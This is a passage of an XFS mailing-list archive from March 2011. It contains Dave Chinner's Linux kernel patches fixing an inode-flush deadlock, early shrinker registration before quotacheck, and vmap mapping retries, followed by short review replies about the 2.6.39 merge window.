http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail06.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 3E7811405D5A for ; Tue, 22 Mar 2011 23:15:39 -0700 (PDT) Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id fad6BtfSYlmC9yyn for ; Tue, 22 Mar 2011 23:15:39 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AsIDAForiU15LK5JgWdsb2JhbAClQBUBARYmJcQUhWkEkmo Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail06.adl6.internode.on.net with ESMTP; 23 Mar 2011 16:44:38 +1030 Received: from chute ([192.168.1.1] helo=disappointment) by dastard with esmtp (Exim 4.72) (envelope-from ) id 1Q2HKs-0006Rn-Ny; Wed, 23 Mar 2011 17:14:26 +1100 Received: from dave by disappointment with local (Exim 4.72) (envelope-from ) id 1Q2HLC-00042b-Ki; Wed, 23 Mar 2011 17:14:46 +1100 From: Dave Chinner To: xfs@oss.sgi.com Cc: aelder@sgi.com X-ASG-Orig-Subj: [PATCH 3/6] xfs: introduce inode cluster buffer trylocks for xfs_iflush Subject: [PATCH 3/6] xfs: introduce inode cluster buffer trylocks for xfs_iflush Date: Wed, 23 Mar 2011 17:14:27 +1100 Message-Id: <1300860870-15471-4-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.7.2.3 In-Reply-To: <1300860870-15471-1-git-send-email-david@fromorbit.com> References: <1300860870-15471-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1300860940 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58707 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean From: Dave Chinner There is an ABBA deadlock between synchronous inode flushing in xfs_reclaim_inode and xfs_icluster_free. xfs_icluster_free locks the buffer, then takes inode ilocks, whilst synchronous reclaim takes the ilock followed by the buffer lock in xfs_iflush(). To avoid this deadlock, separate the inode cluster buffer locking semantics from the synchronous inode flush semantics, allowing callers to attempt to lock the buffer but still issue synchronous IO if it can get the buffer. This requires xfs_iflush() calls that currently use non-blocking semantics to pass SYNC_TRYLOCK rather than 0 as the flags parameter. This allows xfs_reclaim_inode to avoid the deadlock on the buffer lock and detect the failure so that it can drop the inode ilock and restart the reclaim attempt on the inode. This allows xfs_ifree_cluster to obtain the inode lock, mark the inode stale and release it and hence defuse the deadlock situation. It also has the pleasant side effect of avoiding IO in xfs_reclaim_inode when it tries to next reclaim the inode as it is now marked stale. Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig --- fs/xfs/linux-2.6/xfs_super.c | 2 +- fs/xfs/linux-2.6/xfs_sync.c | 30 +++++++++++++++++++++++++++--- fs/xfs/xfs_inode.c | 2 +- fs/xfs/xfs_inode_item.c | 6 +++--- 4 files changed, 32 insertions(+), 8 deletions(-) diff --git a/fs/xfs/linux-2.6/xfs_super.c b/fs/xfs/linux-2.6/xfs_super.c index 818c4cf..8a70b2a 100644 --- a/fs/xfs/linux-2.6/xfs_super.c +++ b/fs/xfs/linux-2.6/xfs_super.c @@ -1078,7 +1078,7 @@ xfs_fs_write_inode( error = 0; goto out_unlock; } - error = xfs_iflush(ip, 0); + error = xfs_iflush(ip, SYNC_TRYLOCK); } out_unlock: diff --git a/fs/xfs/linux-2.6/xfs_sync.c b/fs/xfs/linux-2.6/xfs_sync.c index 6c10f1d..594cd82 100644 --- a/fs/xfs/linux-2.6/xfs_sync.c +++ b/fs/xfs/linux-2.6/xfs_sync.c @@ -761,8 +761,10 @@ xfs_reclaim_inode( struct xfs_perag *pag, int sync_mode) { - int error = 0; + int error; +restart: + error = 0; xfs_ilock(ip, XFS_ILOCK_EXCL); if (!xfs_iflock_nowait(ip)) { if (!(sync_mode & SYNC_WAIT)) @@ -788,9 +790,31 @@ xfs_reclaim_inode( if (xfs_inode_clean(ip)) goto reclaim; - /* Now we have an inode that needs flushing */ - error = xfs_iflush(ip, sync_mode); + /* + * Now we have an inode that needs flushing. + * + * We do a nonblocking flush here even if we are doing a SYNC_WAIT + * reclaim as we can deadlock with inode cluster removal. + * xfs_ifree_cluster() can lock the inode buffer before it locks the + * ip->i_lock, and we are doing the exact opposite here. As a result, + * doing a blocking xfs_itobp() to get the cluster buffer will result + * in an ABBA deadlock with xfs_ifree_cluster(). + * + * As xfs_ifree_cluser() must gather all inodes that are active in the + * cache to mark them stale, if we hit this case we don't actually want + * to do IO here - we want the inode marked stale so we can simply + * reclaim it. Hence if we get an EAGAIN error on a SYNC_WAIT flush, + * just unlock the inode, back off and try again. Hopefully the next + * pass through will see the stale flag set on the inode. + */ + error = xfs_iflush(ip, SYNC_TRYLOCK | sync_mode); if (sync_mode & SYNC_WAIT) { + if (error == EAGAIN) { + xfs_iunlock(ip, XFS_ILOCK_EXCL); + /* backoff longer than in xfs_ifree_cluster */ + delay(2); + goto restart; + } xfs_iflock(ip); goto reclaim; } diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index da871f5..742c833 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -2835,7 +2835,7 @@ xfs_iflush( * Get the buffer containing the on-disk inode. */ error = xfs_itobp(mp, NULL, ip, &dip, &bp, - (flags & SYNC_WAIT) ? XBF_LOCK : XBF_TRYLOCK); + (flags & SYNC_TRYLOCK) ? XBF_TRYLOCK : XBF_LOCK); if (error || !bp) { xfs_ifunlock(ip); return error; diff --git a/fs/xfs/xfs_inode_item.c b/fs/xfs/xfs_inode_item.c index fd4f398..46cc401 100644 --- a/fs/xfs/xfs_inode_item.c +++ b/fs/xfs/xfs_inode_item.c @@ -760,11 +760,11 @@ xfs_inode_item_push( * Push the inode to it's backing buffer. This will not remove the * inode from the AIL - a further push will be required to trigger a * buffer push. However, this allows all the dirty inodes to be pushed - * to the buffer before it is pushed to disk. THe buffer IO completion - * will pull th einode from the AIL, mark it clean and unlock the flush + * to the buffer before it is pushed to disk. The buffer IO completion + * will pull the inode from the AIL, mark it clean and unlock the flush * lock. */ - (void) xfs_iflush(ip, 0); + (void) xfs_iflush(ip, SYNC_TRYLOCK); xfs_iunlock(ip, XFS_ILOCK_SHARED); } -- 1.7.2.3 From dave@fromorbit.com Wed Mar 23 01:12:46 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2N6CfW4074525 for ; Wed, 23 Mar 2011 01:12:46 -0500 X-ASG-Debug-ID: 1300860933-355000940004-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail06.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 5FA7613FA515 for ; Tue, 22 Mar 2011 23:15:40 -0700 (PDT) Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id XJu0fd0nqu8esZ2B for ; Tue, 22 Mar 2011 23:15:40 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ak8FAForiU15LK5JgWdsb2JhbACYS4x1FQEBFiYlxBSFaQSQQA Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail06.adl6.internode.on.net with ESMTP; 23 Mar 2011 16:44:41 +1030 Received: from [192.168.1.1] (helo=disappointment) by dastard with esmtp (Exim 4.72) (envelope-from ) id 1Q2HL2-0006Rq-Oe; Wed, 23 Mar 2011 17:14:36 +1100 Received: from dave by disappointment with local (Exim 4.72) (envelope-from ) id 1Q2HLC-00042g-TJ; Wed, 23 Mar 2011 17:14:46 +1100 From: Dave Chinner To: xfs@oss.sgi.com Cc: aelder@sgi.com X-ASG-Orig-Subj: [PATCH 5/6] xfs: register the inode cache shrinker before quotachecks Subject: [PATCH 5/6] xfs: register the inode cache shrinker before quotachecks Date: Wed, 23 Mar 2011 17:14:29 +1100 Message-Id: <1300860870-15471-6-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.7.2.3 In-Reply-To: <1300860870-15471-1-git-send-email-david@fromorbit.com> References: <1300860870-15471-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1300860941 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58707 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean From: Dave Chinner During mount, we can do a quotacheck that involves a bulkstat pass on all inodes. If there are more inodes in the filesystem than can be held in memory, we require the inode cache shrinker to run to ensure that we don't run out of memory. Unfortunately, the inode cache shrinker is not registered until we get to the end of the superblock setup process, which is after a quotacheck is run if it is needed. Hence we need to register the inode cache shrinker earlier in the mount process so that we don't OOM during mount. This requires that we also initialise the syncd work before we register the shrinker, so we nee dto juggle that around as well. While there, make sure that we have set up the block sizes in the VFS superblock correctly before the quotacheck is run so that any inodes that are cached as a result of the quotacheck have their block size fields set up correctly. Cc: stable@kernel.org Signed-off-by: Dave Chinner --- fs/xfs/linux-2.6/xfs_super.c | 34 ++++++++++++++++++++++++---------- 1 files changed, 24 insertions(+), 10 deletions(-) diff --git a/fs/xfs/linux-2.6/xfs_super.c b/fs/xfs/linux-2.6/xfs_super.c index 8a70b2a..1ba5c45 100644 --- a/fs/xfs/linux-2.6/xfs_super.c +++ b/fs/xfs/linux-2.6/xfs_super.c @@ -1539,10 +1539,14 @@ xfs_fs_fill_super( if (error) goto out_free_sb; - error = xfs_mountfs(mp); - if (error) - goto out_filestream_unmount; - + /* + * we must configure the block size in the superblock before we run the + * full mount process as the mount process can lookup and cache inodes. + * For the same reason we must also initialise the syncd and register + * the inode cache shrinker so that inodes can be reclaimed during + * operations like a quotacheck that iterate all inodes in the + * filesystem. + */ sb->s_magic = XFS_SB_MAGIC; sb->s_blocksize = mp->m_sb.sb_blocksize; sb->s_blocksize_bits = ffs(sb->s_blocksize) - 1; @@ -1550,6 +1554,16 @@ xfs_fs_fill_super( sb->s_time_gran = 1; set_posix_acl_flag(sb); + error = xfs_syncd_init(mp); + if (error) + goto out_filestream_unmount; + + xfs_inode_shrinker_register(mp); + + error = xfs_mountfs(mp); + if (error) + goto out_syncd_stop; + root = igrab(VFS_I(mp->m_rootip)); if (!root) { error = ENOENT; @@ -1565,14 +1579,11 @@ xfs_fs_fill_super( goto fail_vnrele; } - error = xfs_syncd_init(mp); - if (error) - goto fail_vnrele; - - xfs_inode_shrinker_register(mp); - return 0; + out_syncd_stop: + xfs_inode_shrinker_unregister(mp); + xfs_syncd_stop(mp); out_filestream_unmount: xfs_filestream_unmount(mp); out_free_sb: @@ -1596,6 +1607,9 @@ xfs_fs_fill_super( } fail_unmount: + xfs_inode_shrinker_unregister(mp); + xfs_syncd_stop(mp); + /* * Blow away any referenced inode in the filestreams cache. * This can and will cause log traffic as inodes go inactive -- 1.7.2.3 From dave@fromorbit.com Wed Mar 23 01:12:52 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2N6Ck9d074535 for ; Wed, 23 Mar 2011 01:12:52 -0500 X-ASG-Debug-ID: 1300860935-40c401f80000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail06.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 74D3536C917 for ; Tue, 22 Mar 2011 23:15:36 -0700 (PDT) Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id JKI90GklsMCwG37W for ; Tue, 22 Mar 2011 23:15:36 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ak8FAForiU15LK5JgWdsb2JhbACYS4x1FQEBFiYltkuNSYVpBA Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail06.adl6.internode.on.net with ESMTP; 23 Mar 2011 16:44:28 +1030 Received: from chute ([192.168.1.1] helo=disappointment) by dastard with esmtp (Exim 4.72) (envelope-from ) id 1Q2HKs-0006Rm-KK; Wed, 23 Mar 2011 17:14:26 +1100 Received: from dave by disappointment with local (Exim 4.72) (envelope-from ) id 1Q2HLC-00042Z-Gk; Wed, 23 Mar 2011 17:14:46 +1100 From: Dave Chinner To: xfs@oss.sgi.com Cc: aelder@sgi.com X-ASG-Orig-Subj: [PATCH 2/6] vmap: flush vmap aliases when mapping fails Subject: [PATCH 2/6] vmap: flush vmap aliases when mapping fails Date: Wed, 23 Mar 2011 17:14:26 +1100 Message-Id: <1300860870-15471-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.7.2.3 In-Reply-To: <1300860870-15471-1-git-send-email-david@fromorbit.com> References: <1300860870-15471-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1300860947 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58707 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean From: Dave Chinner On 32 bit systems, vmalloc space is limited and XFS can chew through it quickly as the vmalloc space is lazily freed. This can result in failure to map buffers, even when there is apparently large amounts of vmalloc space available. Hence, if we fail to map a buffer, purge the aliases that have not yet been freed to hopefuly free up enough vmalloc space to allow a retry to succeed. Signed-off-by: Dave Chinner Reviewed-by: Christoph Hellwig --- fs/xfs/linux-2.6/xfs_buf.c | 14 +++++++++++--- 1 files changed, 11 insertions(+), 3 deletions(-) diff --git a/fs/xfs/linux-2.6/xfs_buf.c b/fs/xfs/linux-2.6/xfs_buf.c index 5cb230f..fe51e09 100644 --- a/fs/xfs/linux-2.6/xfs_buf.c +++ b/fs/xfs/linux-2.6/xfs_buf.c @@ -455,9 +455,17 @@ _xfs_buf_map_pages( bp->b_addr = page_address(bp->b_pages[0]) + bp->b_offset; bp->b_flags |= XBF_MAPPED; } else if (flags & XBF_MAPPED) { - bp->b_addr = vm_map_ram(bp->b_pages, bp->b_page_count, - -1, PAGE_KERNEL); - if (unlikely(bp->b_addr == NULL)) + int retried = 0; + + do { + bp->b_addr = vm_map_ram(bp->b_pages, bp->b_page_count, + -1, PAGE_KERNEL); + if (bp->b_addr) + break; + vm_unmap_aliases(); + } while (retried++ <= 1); + + if (!bp->b_addr) return -ENOMEM; bp->b_addr += bp->b_offset; bp->b_flags |= XBF_MAPPED; -- 1.7.2.3 From andi@firstfloor.org Wed Mar 23 01:59:43 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2N6xbDk076672 for ; Wed, 23 Mar 2011 01:59:43 -0500 X-ASG-Debug-ID: 1300863758-14fb02b10000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mga01.intel.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id BF26114056E1 for ; Wed, 23 Mar 2011 00:02:38 -0700 (PDT) Received: from mga01.intel.com (mga01.intel.com [192.55.52.88]) by cuda.sgi.com with ESMTP id 4yLtDWyWDVq6WvFK for ; Wed, 23 Mar 2011 00:02:38 -0700 (PDT) X-ASG-Whitelist: Barracuda Reputation Received: from fmsmga002.fm.intel.com ([10.253.24.26]) by fmsmga101.fm.intel.com with ESMTP; 23 Mar 2011 00:02:37 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="4.63,230,1299484800"; d="scan'208";a="670338194" Received: from tassilo.jf.intel.com ([10.7.201.84]) by fmsmga002.fm.intel.com with ESMTP; 23 Mar 2011 00:02:37 -0700 Received: by tassilo.jf.intel.com (Postfix, from userid 501) id 91EBD3E06AB; Wed, 23 Mar 2011 00:01:17 -0700 (PDT) From: Andi Kleen To: Dave Chinner Cc: xfs@oss.sgi.com, aelder@sgi.com X-ASG-Orig-Subj: Re: xfs: outstanding patches for 2.6.39 Subject: Re: xfs: outstanding patches for 2.6.39 References: <1300860870-15471-1-git-send-email-david@fromorbit.com> Date: Wed, 23 Mar 2011 00:01:17 -0700 In-Reply-To: <1300860870-15471-1-git-send-email-david@fromorbit.com> (Dave Chinner's message of "Wed, 23 Mar 2011 17:14:24 +1100") Message-ID: User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.2 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Barracuda-Connect: mga01.intel.com[192.55.52.88] X-Barracuda-Start-Time: 1300863758 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Dave Chinner writes: > Of course, the major patch in this series is the conversion of the > buffer cache to using kmalloc and get_free_page() directly rather > than using the page cache. This has many benefits and I haven't > found any regressions due to making that change yet. One (somewhat obscure) regression will be that you won't be able to recover from uncorrected memory errors in the buffer cache anymore. Previously memory_failure() could just drop it transparently when that happens and the page is currently not used. This is usually only a problem if there's significant memory tied up in it. -Andi -- ak@linux.intel.com -- Speaking for myself only From BATV+79c6484e5da55555945a+2768+infradead.org+hch@bombadil.srs.infradead.org Wed Mar 23 06:16:08 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2NBFusY088401 for ; Wed, 23 Mar 2011 06:16:08 -0500 X-ASG-Debug-ID: 1300879126-13ed02440000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 25A9E36D3A0; Wed, 23 Mar 2011 04:18:46 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id PV463DDdkzsg73K4; Wed, 23 Mar 2011 04:18:46 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q2M5K-0004mk-4H; Wed, 23 Mar 2011 11:18:42 +0000 Date: Wed, 23 Mar 2011 07:18:42 -0400 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com, aelder@sgi.com X-ASG-Orig-Subj: Re: xfs: outstanding patches for 2.6.39 Subject: Re: xfs: outstanding patches for 2.6.39 Message-ID: <20110323111842.GA18267@infradead.org> References: <1300860870-15471-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1300860870-15471-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1300879137 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean I think we'll need the inode OOM fixes for .39, too. But if you need some more time for them it's fine to wait for them for a while. From david@fromorbit.com Wed Mar 23 06:35:31 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2NBZPCX089311 for ; Wed, 23 Mar 2011 06:35:31 -0500 X-ASG-Debug-ID: 1300880304-13ed02d80000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail06.adl2.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 4F2C136D1CA for ; Wed, 23 Mar 2011 04:38:25 -0700 (PDT) Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id nBLLE4lQlz5S0koT for ; Wed, 23 Mar 2011 04:38:25 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvQEAP93iU15LK5JgWdsb2JhbAClQRUBARYmJYhNuyYNhVwE Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail06.adl2.internode.on.net with ESMTP; 23 Mar 2011 22:08:24 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q2MO3-0006zb-Dw; Wed, 23 Mar 2011 22:38:03 +1100 Date: Wed, 23 Mar 2011 22:38:03 +1100 From: Dave Chinner To: Andi Kleen Cc: xfs@oss.sgi.com, aelder@sgi.com X-ASG-Orig-Subj: Re: xfs: outstanding patches for 2.6.39 Subject: Re: xfs: outstanding patches for 2.6.39 Message-ID: <20110323113803.GB26611@dastard> References: <1300860870-15471-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1300880306 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0208 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58728 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, Mar 23, 2011 at 12:01:17AM -0700, Andi Kleen wrote: > Dave Chinner writes: > > > Of course, the major patch in this series is the conversion of the > > buffer cache to using kmalloc and get_free_page() directly rather > > than using the page cache. This has many benefits and I haven't > > found any regressions due to making that change yet. > > One (somewhat obscure) regression will be that you won't be able to > recover from uncorrected memory errors in the buffer cache anymore. We can't do that right now, anyway. > Previously memory_failure() could just drop it transparently when that > happens and the page is currently not used. If the page is not in use, we don't care about it after this patch set is applied - the page is either active in a buffer or it has been freed. If it is in use, then we'll shut the filesystem down if we detect the memory corruption just like we currently do. Hence I don't see any regression here. As it is, there is no way for the filesytem to be notified about such failures on active pages in buffers, so in reality we can't reliably detect them so there is little point in trying to recover from such errors. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Mar 23 06:36:11 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2NBa62t089358 for ; Wed, 23 Mar 2011 06:36:11 -0500 X-ASG-Debug-ID: 1300880335-437d00ba0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail06.adl2.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id E45FBB29371 for ; Wed, 23 Mar 2011 04:38:55 -0700 (PDT) Received: from ipmail06.adl2.internode.on.net (ipmail06.adl2.internode.on.net [150.101.137.129]) by cuda.sgi.com with ESMTP id Q8iUTHgnri807SOM for ; Wed, 23 Mar 2011 04:38:55 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvQEAP93iU15LK5JgWdsb2JhbAClQRUBARYmJcNzDYVcBA Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail06.adl2.internode.on.net with ESMTP; 23 Mar 2011 22:08:54 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q2MOm-0006zm-DQ; Wed, 23 Mar 2011 22:38:48 +1100 Date: Wed, 23 Mar 2011 22:38:48 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com, aelder@sgi.com X-ASG-Orig-Subj: Re: xfs: outstanding patches for 2.6.39 Subject: Re: xfs: outstanding patches for 2.6.39 Message-ID: <20110323113848.GC26611@dastard> References: <1300860870-15471-1-git-send-email-david@fromorbit.com> <20110323111842.GA18267@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110323111842.GA18267@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail06.adl2.internode.on.net[150.101.137.129] X-Barracuda-Start-Time: 1300880346 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58730 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, Mar 23, 2011 at 07:18:42AM -0400, Christoph Hellwig wrote: > I think we'll need the inode OOM fixes for .39, too. But if you need > some more time for them it's fine to wait for them for a while. They are not ready yet. When i have them sorted out, I'll post them as 2.6.39 candidates. Cheers, Dave. -- Dave Chinner david@fromorbit.com From BATV+79c6484e5da55555945a+2768+infradead.org+hch@bombadil.srs.infradead.org Wed Mar 23 06:50:31 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2NBoLGe090075 for ; Wed, 23 Mar 2011 06:50:31 -0500 X-ASG-Debug-ID: 1300881201-43ba01250000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 46BA9159DFB3; Wed, 23 Mar 2011 04:53:22 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id GLvBhEdNiVZCSB4y; Wed, 23 Mar 2011 04:53:22 -0700 (PDT) X-ASG-Whitelist: Client 